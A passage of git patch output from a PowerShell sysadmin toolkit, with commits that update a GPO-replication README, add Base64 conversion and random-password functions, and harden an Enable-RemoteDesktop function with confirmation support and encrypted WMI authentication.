zVyqEsJuaw2Rz?l51@U%;w1JP}|GARg;#3*dh3Eke(0OUSP+6Xj2L}`i_ED+n={_oi z!xg(`+xrgyaBs4*J4w8c?P(XtCcH+!6zc=9?}&1Gi8+&uLlc4t%F)*8`-{_bo0C`J ztXz&5b*?{J91w&}%r!=qzsiZfMU=?8p}gKHSR9g68xAZ7KeW*_Mx6lyvg93eHqy|Y ze>Ddz3^^JtOTzHuIJUDx1X^HI__XWV@rek-Gt8`xFa z8&T_I9889u^RHQeJb9BZJz8IVnQ>3g2WdI*tzY+}$eA+d;2{9nm>NB&C@sU_yjVUk ze&wDjB%nkH#x))lAaU!*2&_W9H;8>R#tgb+uW*fs6`srOgkb`Y#Fcp^^I!gjV={>! z>J)34+zpapU#|83j@(_YIvwgmjRJA@vY}Z97iPY8-}At}q}YluBL}wIzlJ09_Ffca zF5PGeA_UCFf|u;-iwM)e-++Ofr8P!VS^o(3gAi;grs z)&viwQ*nosqblDg+^o@r;x0Y0>932PY+d|~V-ibb#Y{bk+K(~xl%V253E!Rk9bPH- z6mUI}@igmQjR`gR<5{iWqR$XGMmEZm$PA41e5(#B+kvQROB1D6XZ9M%-e~dl6J&=0 zHyN}ylRgA`r!$r3g^g#C(RW=K5f_kcQi&&<^H~$Nt2x+EJd{ayk28KhF6M(Xc;3`^OMDzfQbUl-sI0;8gkSfs6Tod~7Zsy| z8jprR=rd4M5=UjR;tEfmsBHlq>`E1gtes}EQlgP4Gfa*FiXT91ld;=1pQl*yDWT}D zkD6+u#t8Z5A_<(a33a#+oB|doB7I&JzUhsg1Lbed73Y!uGMObrd?qt59>e4}QTM|e z`DDV4R~E!GLA_IMG_|9ljR$nH#e{)@)|(<)2z(T5cGp0!8>Mmf&<&{9sxn@*`mRftMI)R>2&D zYUW5S5sfrV{aB_JJ!YKaaC#Mmf|{Foik7le3ZN!FyWIh=j+ZT{S;c8QJjyV{3A^4niGJWt8G%ZZ#g%Af1-CWwhcL zJC64@{J||kTrfLOLS#^f=cFgzCA};+PH~bJbuEU@z>*`QUd=m?ez(l&tT{>BeIF#A zRirztZ6;CZ;2ct!Ppd)GSuB99k{p%SN#%Wv_+VY+{X}#>?LeE4Gmqb%J;@q{#zmTb zg*1cu41GP*{aVCd04YUAPA*DFn5C9QOG_&VoRXw}{Kzg0dG|=kT)kF%zS4AEw(<9A z2RRqaz|<7f_j0J&IGYjQWI`)x-&?{A;4>ohlgYp+uE!16cYxb}Rrp8XO8?rTtV#YO zT?nr79Vt;JHS5C2_&y*bFb~ej{^5Jfh)SBaDSv?R80kNTN=Mmdi8+TON1$LMJ{M-X zmLCFCa+Iq~8=0`{i_R<#b3Mwzo|0`^kVuT<5Zz7mSze)&V zY604viM|0IdKcp9+7Tz#Cn$iGbJ>9}60p@eh0wJ))JQr?6Uswk>5)66D`pm1E>eK= zzRPwr!b50DuL zL~hDbrQj;u{c=EA$N}E$rre8_!2BsS7SI(Rj4dQiE0Gmy3!;b=A31@ollO{ttqdNW z5ebn7{uq@4=>QMdCLptC^WVFas6n0dbNKsIaA|2SW>(wmpp%K&jG^Z(GgML&ym8bS zmnqAs|Mmhu``m7r9^E|-bo@gTGVbCpi&kpBZ@rbuMP26=K@qumrMF`lky=?z{1(4S z|6nSl;2|w`rfrR^y&zJOVi2z3*)QRu2^0VJ@8ISvE1OZOj_hmClZ4`WoE0Bn0lak0 z{;Q<+2{7LDplFb)FV%wJyg0w~p47l7Iu~)RLcI_1gGdQxAoEb!G{8r^s>gRTWM zMC7YXhlY@wEx3dA3nY+_g<5$ix})z1D4f2mdpd|vBs#-)J^86GQZSb0>~Wm+Mzf+= zH>X+iv|k!qU=u|0+*lZ;bp=~=nTfvJ0Hk>sfe5kK*i$fJjmPB;V}obA8#kSi#b48h zVB@2uul@ntP&1nKD@O->fvm&1YZn1Wj^>*j!5aPe&)PeQcQ5$O$@Ise<%xU<>}WGY{k) z^jB)KV8#ub!k<2)p}9Ly$$}#T(NZ5t_v)A%*md$39jwwZ_kJ*s_&}3wP|gTp@^d0j zjcphXn-C@HqPW}%8w)vjW<^N_xdtFsT9Yf4Q}Y?80c)?tRr4uK!}RlsHQioV{oVFs z@oh#bE~~X^qp4XpzfK}8s?*``uVXCpo;0%-c{mNrD{TcHTJ&@TlNQ@1-8E{>Kg=3U z?|$p2S~hRsOs>ZL3$cunQmL~enB#WA;8=UZ&YNOSnWc?B5&er=ZqKva&*!-8Z+^#l z3w}ViJ>VKM!wkm3DZ3%FSaHQ>$}!YF#RoG-{5mW(*sNN?SdpkJ3>@k}=oJ`C@sfrC z1#%tmX>PHrLWLQM_<6x%Rni;@i7p`g*Si6Au%|go1s-@)IwF6Xmg_4)v=>$MOGJlu z^ben*xzgaEClTAB>V>*P!7RYfjGPUZOwG3mVuPy3=h%y z$0oJ$dmSVMt?cZ=ZFa;s1j=9UrwrAxS$t6=7Ml$$FzPpBFxo-Pez^k=oyqaWG2bwy zkQjkgkn1{!`>?Rzhzsg#(J!7AKrjx|<_u1^KnCMe*eaDAd3+n!J>wM&{LwFJnWLFj zj@%}zUSkmnR)t2-CJfdmCm*kygRGyY^$52?Pf5$?)2cAkaMiA|^!6_f=hX&yWLyed zz77kmCSbR#(b1QH4vBW(Y8~z7bKvMQO6czU`#4!y%mFAZj{{t#`d>D{pEeHWm`Q@_ zs9pUVw`}zE{XfYq|5w5FQh%(zRUeLCYyOY?>hGvqSr_Msc)XFly4!@iwD+sW5J>uJ z8xPm}jen)XAVn=%)9>H70w+fu1+n>285G}uHNOB%f-E4{Mv$yS*W<_zu^%hJ`t z6!Pr@{CYcOzwYA2-58O2b6i^Lmv}ihjgGuLKM3F`1s(&^-zeZe!ASo`TJ>igQ1erx zAW-0CrMMtSGBIigZ2W zKTDuBZ6QJreJ@Hx?+r}E)q@nzey%iNV|SpW$njsm_2ekZIxqd4lbu|R{s#bP0D)DD z`TsotWWg+YJ@Yk68|i2LvdpNzqr z?^N`9PnJ~|xY6>ft9L{V2>(wgtW)lr(too#>#>N)|3?+pc_}&EhQA}Q(ir;cFf6?= z!34J5G5*MVxGe+TB%@CsutvBt%;F=9z_so|7}yr#+`H=jbdbQK-+ONJTw?qg$W0Bv zfE)`rZt*`9nhPw4C5k}_>ii+!H(yLU95P_+)ARTGZjHGES$Bu zth{3>NX+JB1C?u$^|aGp@;3vELl=VyF#mTMj?kC|^Q`{>{-|Xn1tN0G@Trl<+wbwY z7gBum?do*w+2G0bh5Dy4j>xjhDRPc~{0juOQRuoajsq>I1=K5AcT&_GviORu>~}Yd z`_4I0(7vfn%M(FTK|_VoOEf`84cQ65sZe|qbN}+qA}lk?Dg(_H0yM^Mt@pcBfEYqLa00$qZf@=d zZdDbP;NQQ0hi1+1VG@tdSIjjUbk^FzeOb22@Ncorco#SSG0v#~8xWuh4nO|fp;fbq zpv}FqELz?7abawV$nqp|bFm4nGLzn3%ni7GUIKj{kOV3#jmB7_zMqJ2%pxoD{-~*D zc;ziypZ+k&MZ$l=AN;qdO_&4fP|NE}7UviX{aC#+pQF8}VBOd(4Oac#^s($13l_T21OceLS#i$YGLwUNQ=>42CaNTJV{C(#5>VmiFm(yPQ0`Yj z6LH|fvA|ptenvRN1`Ke0+qZ!p-$~IU&xJbbYZ7NVG{UAgy7N_EV~59XhgEMGB&lzx zAT8^hnex&%o6+)r$<1w&iDc&C!W{g;wXy`%A)uGPGyz)q{XguuQHF&`Vv@s~gd_lFc85yp>n^K&_}%yO7S zZ}%>vDhJ_bNMpclDC@%#eFfT$4km(1h7Dx8+jG6aFmz=!Ht^+Ne^YVbZyPoA)T;%4 z_!=m}_l^a|9gdbg_{nCd5>HfPX>u{af1`FfxxkzO%k=+4TIVhl)fKJCi2J?%HO+Fr zej*T}C(`GhjV^mmS4Qx9Lv;QY+J;_OD(1i#Sm%m*z_>OVqv&V?voeD*ZPU?)+QNcs zU-8br_sTDc+sXW895&4R6ECCX;q&ePRvz_@w>#tnto9=05?o%H<}D6nCz>_7OE?cM_antu{Hg#+JVXV`B}Blknz`iw<z0-9JGr>GI-!+6* z1nuAQX?t!v^Yyx%=0Tcuj*Tx=*oqS>dQ0!}U$d~US1>J@p*IfJ*s5K@LGkM0HcMXr z0o~kaXdwSj$fkoa>+sj`omY^3b~juWVK@D3WaJ(wTXSw^Qj5G<5E1|n(D zU_8X$;|_;YwR@z&$hJ*@cSPKqzgOU|-XcEd=wTA`Dj2wfjMkXNLigZZi| zx(BSRb#-Vu)=ve8x$dvd1+ZH#NiB}|y)C^SKCh{vduMDvZ+4ASx5}JL!g3m~@LL#g z{E68hv}$F5_BIi)ghrMwu{yE4daS|L#O&5>r=a@72hXT7a&GJ8?FSRkmm#uFy}83{ z3Jh*M4ADN@>7Q8s1|IOPnwLAuiRGA#gp^iK=C{sJaNc_)krkrX7;;zae9n+j2go)q z3TV0j0O!-jsxgD!n3vh@mMq3{ZH)mhVK^M4hXz#V8dj9mP!H4WfNf0w-(`rSYxR%0 z|B31v?`om8j5>}44(SiMaYe^rZW+h&fUT9H3G^ow;jaabhwZOl2-|O>gami#v$`kM z=_Yf^@3f#`ArPKXqQ?Ma4Ls6-?W6prUIa%dVa@9AMei8t%+iM*wZ z!TcQ2Wbo{^HR4~L47*3_q$dFZHmP(U57BX2b92p8EzxscbX7F$HR~ecN?*nb(U%5+ z|L2YfGsbve@YQph_2eZU`^&OM^LO#Oh}N=Od@9x^U|0`!-25$*i&kZ&Vn!u*aW^C} z%Dl*gYG5P;fd zTm!Y?Q;M2wnv52jY%U>UAGzKZ)owqxcp9~W>JmTdy&5+l`H_&&IJY5WS~-FY zhDq>~9m0w3pY2=tm0- z5;;5AG&*1lB4s$ZqO$C6Tnz;euX(q*P)#C<91myQA1C{-RD%nkTucN#4k3t-x*}dv zsxpdRS3^${j3YYsh=@CF`NnsJXx6e<~**}Q)oC>7`;zTel z8{vG9kG%8Jia1_W1w<;%;RA|QC_xyjM5)wAHcs8}O6SOu=Q!`bwh-Dgko8bkT4>`x zZS5asw{mfjw1`Nz69gPo<>y9>BLP-oS{y$X@yrql677zT2QF7PU9f;N(&DkQy_otD zW#WYH5PAe?@r7VR`dEoF-5Wv|@mECkor&nFU%T5Mr3cd>2d7^VB-(vcFxwE6lZ(B+ zDDmj7?&;wtqoh=RZsTr(*6pC3GBt@j8aHXI$+vl6EdW}8l!~p;DlWVMBa&(Crj5G5 zjH}8!swsH=V>42?A+;)2V>i>7>s=Wo$!%E>iY0<7AcEqs|3TvaHKw{-84Eru1h^=Y7QhDKDg&B%;?{(3iAF5>+71|DL6IDj%BYWCs}m(G1W z5W|nsquv?gXs@nxK=lOM(73hvXkG?DHXNVN)ckWCvK}%Tx6QB{?B2KlE6`?$X{Q&C z7X4VF0)+tNCYwEQzV@@~zXDHcm5E%H30xmz!Kn>1)_0CHY*ocv)S+$B8YrO)?mm3^ za}KKG%*n3E!*6c*U6Ry0mK9iYDP-|KLQ-LTYmR|4#RHcc`3K}YTt-5xe9_OM(Q;zM zeF({v(1Ep3e_lT;y(7xkFR*4hmum(roOl<1SwRyIqxr}F+jgPhCfW~r3bXh{yzSd? z{xX0sbZ&p0%F8vb_j-M3yt&=HD1Sd(0P<4BpIT@LlNMi1AG1HzdbYe*hN(>ofqkhzdywR`Tok{$Iny^`-y- literal 0 HcmV?d00001 From 92e654d16a60edf6132d5a38ce82be3b7c42aa50 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Fran=C3=A7ois-Xavier=20Cat?= Date: Tue, 5 Apr 2016 23:01:47 -0400 Subject: [PATCH 088/561] Update README.MD --- AD-GPO-Get-ADGPOReplication/README.MD | 41 +++++++++++++++------------ 1 file changed, 23 insertions(+), 18 deletions(-) diff --git a/AD-GPO-Get-ADGPOReplication/README.MD b/AD-GPO-Get-ADGPOReplication/README.MD index 180f1196..ac8711be 100644 --- a/AD-GPO-Get-ADGPOReplication/README.MD +++ b/AD-GPO-Get-ADGPOReplication/README.MD @@ -1,6 +1,7 @@ -# Function Get-ADGPOReplication +Get-ADGPOReplication +=================== -(LazyWinAdmin Article)[] +[Blog article on lazywinadmin.com](http://www.lazywinadmin.com/2014/10/powershell-check-gpo-replication.html) Get-ADGPOReplication is retrieving the GPO version and Sysvol version accross the domain for one or more Group Policy objects. This can especially helps you troubleshooting replication issues. @@ -8,20 +9,24 @@ This small function is taking advantage of the module ActiveDirectory to retriev For each GPO, It will then retrieve the version of the User/Computer configurations and the Sysvol Version. -Getting the list of Domain Controllers -$DomainControllers = ((Get-ADDomainController -filter *).hostname) -Processing each Group Policy Object, against each Domain controllers -Foreach ($GPOItem in $GPOName) -{ - $GPO = Get-GPO -Name $GPOItem -Server $DomainController -ErrorAction Stop - - [pscustomobject][ordered] @{ - GroupPolicyName = $GPOItem - DomainController = $DomainController - UserVersion = $GPO.User.DSVersion - UserSysVolVersion = $GPO.User.SysvolVersion - ComputerVersion = $GPO.Computer.DSVersion - ComputerSysVolVersion = $GPO.Computer.SysvolVersion - }#PSObject -}#Foreach ($GPOItem in $GPOName) \ No newline at end of file +####Examples +================= +Using the function against one GPO: +```PowerShell +Get-ADGPOReplication -GPOName "AZE_Test" +``` +Using the function against multiple GPO: +```PowerShell +Get-ADGPOReplication -GPOName "AZE_Test", "AZE_Test2" +``` +Using the function against All GPO: +```PowerShell +Get-ADGPOReplication -All +``` +Optionally you can send the output to Out-Gridview which will give you a very nice view on all your GPO versions. +```PowerShell +Get-ADGPOReplication -GPOName AZE_Test | Out-GridView -Title "AZE_Test $(Get-Date)" +``` + +![alt tag](images/Get-ADGPOReplication01.png "DataGrid Example") From 20566ebd0bc8054cf246b0a87e23b901c85d1b86 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Fran=C3=A7ois-Xavier=20Cat?= Date: Tue, 5 Apr 2016 23:06:04 -0400 Subject: [PATCH 089/561] Update README.MD --- AD-GPO-Get-ADGPOReplication/README.MD | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/AD-GPO-Get-ADGPOReplication/README.MD b/AD-GPO-Get-ADGPOReplication/README.MD index ac8711be..41ce8338 100644 --- a/AD-GPO-Get-ADGPOReplication/README.MD +++ b/AD-GPO-Get-ADGPOReplication/README.MD @@ -10,23 +10,28 @@ This small function is taking advantage of the module ActiveDirectory to retriev For each GPO, It will then retrieve the version of the User/Computer configurations and the Sysvol Version. -####Examples -================= +##Examples Using the function against one GPO: ```PowerShell Get-ADGPOReplication -GPOName "AZE_Test" ``` + Using the function against multiple GPO: ```PowerShell Get-ADGPOReplication -GPOName "AZE_Test", "AZE_Test2" ``` + +![alt tag](images/Get-ADGPOReplication01.png) + + Using the function against All GPO: ```PowerShell Get-ADGPOReplication -All ``` + Optionally you can send the output to Out-Gridview which will give you a very nice view on all your GPO versions. ```PowerShell Get-ADGPOReplication -GPOName AZE_Test | Out-GridView -Title "AZE_Test $(Get-Date)" ``` +![alt tag](images/Get-ADGPOReplication_OutGridView.png) -![alt tag](images/Get-ADGPOReplication01.png "DataGrid Example") From e1425311cdb3423823ab52fefe493263093f321b Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Sat, 9 Apr 2016 19:07:57 -0400 Subject: [PATCH 090/561] Add Base64 functions --- .../ConvertFrom-Base64.ps1 | 36 +++++++++++++++++++ TOOL-ConvertTo-Base64/ConvertTo-Base64.ps1 | 30 ++++++++++++++++ 2 files changed, 66 insertions(+) create mode 100644 TOOL-ConvertFrom-Base64/ConvertFrom-Base64.ps1 create mode 100644 TOOL-ConvertTo-Base64/ConvertTo-Base64.ps1 diff --git a/TOOL-ConvertFrom-Base64/ConvertFrom-Base64.ps1 b/TOOL-ConvertFrom-Base64/ConvertFrom-Base64.ps1 new file mode 100644 index 00000000..0e673d08 --- /dev/null +++ b/TOOL-ConvertFrom-Base64/ConvertFrom-Base64.ps1 @@ -0,0 +1,36 @@ +function ConvertFrom-Base64 +{ + <# + .SYNOPSIS + Converts the specified string, which encodes binary data as base-64 digits, to an equivalent 8-bit unsigned integer array. + + .DESCRIPTION + Converts the specified string, which encodes binary data as base-64 digits, to an equivalent 8-bit unsigned integer array. + + .PARAMETER String + Specifies the String to Convert + + .NOTES + Francois-Xavier Cat + @lazywinadm + www.lazywinadmin.com + github.com/lazywinadmin +#> + [CmdletBinding()] + PARAM ( + [parameter(Mandatory = $true, ValueFromPipeline)] + [String]$String + ) + TRY + { + Write-Verbose -Message "[ConvertFrom-Base64] Converting String" + [System.Text.Encoding]::Default.GetString( + [System.Convert]::FromBase64String($String) + ) + } + CATCH + { + Write-Error -Message "[ConvertFrom-Base64] Something wrong happened" + $Error[0].Exception.Message + } +} \ No newline at end of file diff --git a/TOOL-ConvertTo-Base64/ConvertTo-Base64.ps1 b/TOOL-ConvertTo-Base64/ConvertTo-Base64.ps1 new file mode 100644 index 00000000..3743f7b5 --- /dev/null +++ b/TOOL-ConvertTo-Base64/ConvertTo-Base64.ps1 @@ -0,0 +1,30 @@ +function ConvertTo-Base64 +{ +<# + .SYNOPSIS + Function to convert an image to Base64 + + .DESCRIPTION + Function to convert an image to Base64 + + .PARAMETER Path + Specifies the path of the file + + .NOTES + Francois-Xavier Cat + @lazywinadm + www.lazywinadmin.com + github.com/lazywinadmin +#> + + [CmdletBinding()] + param + ( + [Parameter(Mandatory = $true, + ValueFromPipeline = $true)] + [ValidateScript({ Test-Path -Path $_ })] + [String]$Path + ) + Write-Verbose -Message "[ConvertTo-Base64] Converting image to Base64 $Path" + [System.convert]::ToBase64String((Get-Content -Path $path -Encoding Byte)) +} \ No newline at end of file From ab1f2608f018231538a7b265a7ef0f66a11aeb9f Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Sun, 10 Apr 2016 12:22:21 -0400 Subject: [PATCH 091/561] Add New-RandomPassword This is using the GeneratePassword method from the system.web.security.membership class --- .../New-RandomPassword.ps1 | 63 +++++++++++++++++++ 1 file changed, 63 insertions(+) create mode 100644 TOOL-New-RandomPassword/New-RandomPassword.ps1 diff --git a/TOOL-New-RandomPassword/New-RandomPassword.ps1 b/TOOL-New-RandomPassword/New-RandomPassword.ps1 new file mode 100644 index 00000000..df4b901d --- /dev/null +++ b/TOOL-New-RandomPassword/New-RandomPassword.ps1 @@ -0,0 +1,63 @@ +function New-RandomPassword +{ +<# +.SYNOPSIS + Function to generate a complex and random password +.DESCRIPTION + Function to generate a complex and random password + + This is using the GeneratePassword method from the + system.web.security.membership NET Class. + + https://msdn.microsoft.com/en-us/library/system.web.security.membership.generatepassword(v=vs.100).aspx + +.PARAMETER Length + The number of characters in the generated password. The length must be between 1 and 128 characters. + Default is 12. + +.PARAMETER NumberOfNonAlphanumericCharacters + The minimum number of non-alphanumeric characters (such as @, #, !, %, &, and so on) in the generated password. + Default is 5. + +.PARAMETER Count + Specifies how many password you want. Default is 1 + +.EXAMPLE + New-RandomPassword + []sHX@]W#w-{ +.EXAMPLE + New-RandomPassword -Length 8 -NumberOfNonAlphanumericCharacters 2 + v@Warq_6 +.EXAMPLE + New-RandomPassword -Count 5 + *&$6&d1[f8zF + Ns$@[lRH{;f4 + ;G$Su^M$bS+W + mgZ/{y8}I@-t + **W.)60kY4$V +.NOTES + francois-xavier.cat + www.lazywinadmin.com + @lazywinadm + github.com/lazywinadmin +#> + PARAM ( + [Int32]$Length = 12, + + [Int32]$NumberOfNonAlphanumericCharacters = 5, + + [Int32]$Count = 1 + ) + + BEGIN + { + Add-Type -AssemblyName System.web; + } + + PROCESS + { + 1..$Count | ForEach-Object { + [System.Web.Security.Membership]::GeneratePassword($Length, $NumberOfNonAlphanumericCharacters) + } + } +} \ No newline at end of file From 65e375425f9efb30b1c898aa38fc6bd81f30b156 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Fran=C3=A7ois-Xavier=20Cat?= Date: Mon, 11 Apr 2016 16:30:04 -0400 Subject: [PATCH 092/561] Update ConvertTo-Base64.ps1 --- TOOL-ConvertTo-Base64/ConvertTo-Base64.ps1 | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/TOOL-ConvertTo-Base64/ConvertTo-Base64.ps1 b/TOOL-ConvertTo-Base64/ConvertTo-Base64.ps1 index 3743f7b5..d9ac1779 100644 --- a/TOOL-ConvertTo-Base64/ConvertTo-Base64.ps1 +++ b/TOOL-ConvertTo-Base64/ConvertTo-Base64.ps1 @@ -10,6 +10,9 @@ .PARAMETER Path Specifies the path of the file + .EXAMPLE + ConvertTo-Base64 -Path "C:\images\PowerShellLogo.png" + .NOTES Francois-Xavier Cat @lazywinadm @@ -27,4 +30,4 @@ ) Write-Verbose -Message "[ConvertTo-Base64] Converting image to Base64 $Path" [System.convert]::ToBase64String((Get-Content -Path $path -Encoding Byte)) -} \ No newline at end of file +} From 22a6ac2f216d6ae485bd4eb3f57ef91e48fb32df Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Fran=C3=A7ois-Xavier=20Cat?= Date: Mon, 11 Apr 2016 16:30:58 -0400 Subject: [PATCH 093/561] Update ConvertFrom-Base64.ps1 --- TOOL-ConvertFrom-Base64/ConvertFrom-Base64.ps1 | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/TOOL-ConvertFrom-Base64/ConvertFrom-Base64.ps1 b/TOOL-ConvertFrom-Base64/ConvertFrom-Base64.ps1 index 0e673d08..b4dbbc52 100644 --- a/TOOL-ConvertFrom-Base64/ConvertFrom-Base64.ps1 +++ b/TOOL-ConvertFrom-Base64/ConvertFrom-Base64.ps1 @@ -9,6 +9,9 @@ .PARAMETER String Specifies the String to Convert + + .EXAMPLE + ConvertFrom-Base64 -String $ImageBase64 |Out-File ImageTest.png .NOTES Francois-Xavier Cat @@ -33,4 +36,4 @@ Write-Error -Message "[ConvertFrom-Base64] Something wrong happened" $Error[0].Exception.Message } -} \ No newline at end of file +} From 4825af9fc54926bce47d0f294d87488efdd8c612 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Fran=C3=A7ois-Xavier=20Cat?= Date: Mon, 11 Apr 2016 16:39:54 -0400 Subject: [PATCH 094/561] Update Enable-RemoteDesktop.ps1 Add Authentication parameter in the splatting of the Get-WMIObject query (Issue #4 https://github.com/lazywinadmin/PowerShell/issues/4) Thanks TechASP ! Add WhatIf/Confirm Support Add Requires RunAsAdministrator --- .../Enable-RemoteDesktop.ps1 | 173 ++++++++++-------- 1 file changed, 93 insertions(+), 80 deletions(-) diff --git a/TOOL-Enable-RemoteDesktop/Enable-RemoteDesktop.ps1 b/TOOL-Enable-RemoteDesktop/Enable-RemoteDesktop.ps1 index 73e1624f..94bec058 100644 --- a/TOOL-Enable-RemoteDesktop/Enable-RemoteDesktop.ps1 +++ b/TOOL-Enable-RemoteDesktop/Enable-RemoteDesktop.ps1 @@ -1,4 +1,4 @@ -function Enable-RemoteDesktop +function Enable-RemoteDesktop { <# .SYNOPSIS @@ -32,24 +32,28 @@ Francois-Xavier Cat @lazywinadm www.lazywinadmin.com + github.com/lazywinadmin #> - [CmdletBinding()] - PARAM ( - [Parameter( - ParameterSetName = "Main", - ValueFromPipeline = $True, - ValueFromPipelineByPropertyName = $True)] - [Alias("CN", "__SERVER", "PSComputerName")] + #Requires -RunAsAdministrator + [CmdletBinding(DefaultParameterSetName = 'CimSession', + SupportsShouldProcess = $true)] + param + ( + [Parameter(ParameterSetName = 'Main', + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true)] + [Alias('CN', '__SERVER', 'PSComputerName')] [String[]]$ComputerName, - [Parameter(ParameterSetName = "Main")] - [Alias("RunAs")] + [Parameter(ParameterSetName = 'Main')] [System.Management.Automation.Credential()] + [Alias('RunAs')] $Credential = [System.Management.Automation.PSCredential]::Empty, - [Parameter(ParameterSetName = "CimSession")] + [Parameter(ParameterSetName = 'CimSession')] [Microsoft.Management.Infrastructure.CimSession[]]$CimSession ) + BEGIN { # Helper Function @@ -74,7 +78,7 @@ $DateFormat = Get-Date -Format 'yyyy/MM/dd-HH:mm:ss:ff' $FunctionName = (Get-Variable -Scope 1 -Name MyInvocation -ValueOnly).MyCommand.Name Write-Output "[$DateFormat][$FunctionName] $Message" - }#Get-DefaultMessage + } #Get-DefaultMessage } PROCESS { @@ -84,43 +88,48 @@ { $CIMComputer = $($Cim.ComputerName).ToUpper() - TRY + IF ($PSCmdlet.ShouldProcess($CIMComputer, "Enable Remote Desktop via Win32_TerminalServiceSetting")) { - # Parameters for Get-CimInstance - $CIMSplatting = @{ - Class = "Win32_TerminalServiceSetting" - NameSpace = "root\cimv2\terminalservices" - CimSession = $Cim - ErrorAction = 'Stop' - ErrorVariable = "ErrorProcessGetCimInstance" - } - # Parameters for Invoke-CimMethod - $CIMInvokeSplatting = @{ - MethodName = "SetAllowTSConnections" - Arguments = @{ - AllowTSConnections = 1; - ModifyFirewallException = 1 + TRY + { + # Parameters for Get-CimInstance + $CIMSplatting = @{ + Class = "Win32_TerminalServiceSetting" + NameSpace = "root\cimv2\terminalservices" + CimSession = $Cim + Authentication = 'PacketPrivacy' + ErrorAction = 'Stop' + ErrorVariable = "ErrorProcessGetCimInstance" + } + + # Parameters for Invoke-CimMethod + $CIMInvokeSplatting = @{ + MethodName = "SetAllowTSConnections" + Arguments = @{ + AllowTSConnections = 1 + ModifyFirewallException = 1 + } + ErrorAction = 'Stop' + ErrorVariable = "ErrorProcessInvokeCim" } - ErrorAction = 'Stop' - ErrorVariable = "ErrorProcessInvokeCim" + + Write-Verbose -Message (Get-DefaultMessage -Message "$CIMComputer - CIMSession - Enable Remote Desktop (and Modify Firewall Exception") + Get-CimInstance @CIMSplatting | Invoke-CimMethod @CIMInvokeSplatting } - - Write-Verbose -Message (Get-DefaultMessage -Message "$CIMComputer - CIMSession - Enable Remote Desktop (and Modify Firewall Exception") - Get-CimInstance @CIMSplatting | Invoke-CimMethod @CIMInvokeSplatting - } - CATCH - { - Write-Warning -Message (Get-DefaultMessage -Message "$CIMComputer - CIMSession - Something wrong happened") - IF ($ErrorProcessGetCimInstance) { Write-Warning -Message (Get-DefaultMessage -Message "$CIMComputer - Issue with Get-CimInstance") } - IF ($ErrorProcessInvokeCim) { Write-Warning -Message (Get-DefaultMessage -Message "$CIMComputer - Issue with Invoke-CimMethod") } - Write-Warning -Message $Error[0].Exception.Message - } #CATCH - FINALLY - { - $CIMSplatting.Clear() - $CIMInvokeSplatting.Clear() - } + CATCH + { + Write-Warning -Message (Get-DefaultMessage -Message "$CIMComputer - CIMSession - Something wrong happened") + IF ($ErrorProcessGetCimInstance) { Write-Warning -Message (Get-DefaultMessage -Message "$CIMComputer - Issue with Get-CimInstance") } + IF ($ErrorProcessInvokeCim) { Write-Warning -Message (Get-DefaultMessage -Message "$CIMComputer - Issue with Invoke-CimMethod") } + Write-Warning -Message $Error[0].Exception.Message + } #CATCH + FINALLY + { + $CIMSplatting.Clear() + $CIMInvokeSplatting.Clear() + } #FINALLY + } #$PSCmdlet.ShouldProcess } #FOREACH ($Cim in $CimSessions) } #IF ($PSBoundParameters['CimSession']) ELSE @@ -129,43 +138,47 @@ { $Computer = $Computer.ToUpper() - TRY + IF ($PSCmdlet.ShouldProcess($Computer, "Enable Remote Desktop via Win32_TerminalServiceSetting")) { - Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - Test-Connection") - IF (Test-Connection -Computer $Computer -count 1 -quiet) + TRY { - $Splatting = @{ - Class = "Win32_TerminalServiceSetting" - NameSpace = "root\cimv2\terminalservices" - ComputerName = $Computer - ErrorAction = 'Stop' - ErrorVariable = 'ErrorProcessGetWmi' - } - - IF ($PSBoundParameters['Credential']) + Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - Test-Connection") + IF (Test-Connection -Computer $Computer -count 1 -quiet) { - $Splatting.credential = $Credential + $Splatting = @{ + Class = "Win32_TerminalServiceSetting" + NameSpace = "root\cimv2\terminalservices" + ComputerName = $Computer + Authentication = 'PacketPrivacy' + ErrorAction = 'Stop' + ErrorVariable = 'ErrorProcessGetWmi' + } + + IF ($PSBoundParameters['Credential']) + { + $Splatting.credential = $Credential + } + + # Enable Remote Desktop + Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - Get-WmiObject - Enable Remote Desktop") + (Get-WmiObject @Splatting).SetAllowTsConnections(1, 1) | Out-Null + + # Disable requirement that user must be authenticated + #(Get-WmiObject -Class Win32_TSGeneralSetting @Splatting -Filter TerminalName='RDP-tcp').SetUserAuthenticationRequired(0) Out-Null } - - # Enable Remote Desktop - Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - Get-WmiObject - Enable Remote Desktop") - (Get-WmiObject @Splatting).SetAllowTsConnections(1, 1) | Out-Null - - # Disable requirement that user must be authenticated - #(Get-WmiObject -Class Win32_TSGeneralSetting @Splatting -Filter TerminalName='RDP-tcp').SetUserAuthenticationRequired(0) Out-Null - } - } - CATCH - { - Write-Warning -Message (Get-DefaultMessage -Message "$Computer - Something wrong happened") - IF ($ErrorProcessGetWmi) { Write-Warning -Message (Get-DefaultMessage -Message "$Computer - Issue with Get-WmiObject")} - Write-Warning -MEssage $Error[0].Exception.Message - } - FINALLY - { - $Splatting.Clear() - } - }#FOREACH + } #TRY + CATCH + { + Write-Warning -Message (Get-DefaultMessage -Message "$Computer - Something wrong happened") + IF ($ErrorProcessGetWmi) { Write-Warning -Message (Get-DefaultMessage -Message "$Computer - Issue with Get-WmiObject") } + Write-Warning -MEssage $Error[0].Exception.Message + } #CATCH + FINALLY + { + $Splatting.Clear() + } #FINALLY + } #$PSCmdlet.ShouldProcess + } #FOREACH } #ELSE (Not CIM) - }#PROCESS -}#Function \ No newline at end of file + } #PROCESS +} From 88c54f458cb9ee913eba5e1192649595d8e8385f Mon Sep 17 00:00:00 2001 From: 